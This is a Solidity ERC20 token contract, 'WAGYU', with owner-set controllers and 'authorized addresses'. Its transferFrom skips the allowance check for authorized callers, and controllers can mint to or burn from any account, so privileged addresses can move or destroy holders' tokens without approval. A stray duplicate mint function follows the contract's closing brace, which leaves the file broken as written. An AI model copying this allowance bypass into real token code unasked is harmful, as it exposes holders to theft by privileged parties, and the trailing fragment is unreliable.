contract WAGYU is Context, IERC20, IERC20Metadata, Ownable {
    using Strings for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private authorizedAddresses;
    mapping(address => bool) private controllers;

    uint256 private _totalSupply;
    string private _name = "Wagyu";
    string private _symbol = "WAGYU";

    modifier onlyController {
        require(controllers[msg.sender], "NOT_CONTROLLER");
        _;
    }

    constructor() {}

    // Mint/Burn functions
    // --------------------------------------------------------------
    function mint(address user, uint256 amount) public onlyController {
        _mint(user, amount);
    }

    function burn(address user, uint256 amount) public onlyController {
        _burn(user, amount);
    }

    // Owner functions
    // --------------------------------------------------------------
    function setController(address controller, bool authorized) public onlyOwner {
        controllers[controller] = authorized;
    }

    function setAuthorizedAddress(address authorizedAddress, bool authorized) public onlyOwner {
        authorizedAddresses[authorizedAddress] = authorized;
    }

    // ERC20 functions
    // --------------------------------------------------------------    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        if (!authorizedAddresses[msg.sender]) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        return true;
    }
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }
    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
function mint(address user, uint256 amount) public onlyController {
    _mint(user, amount);
}

// Mint/Burn functions
// --------------------------------------------------------------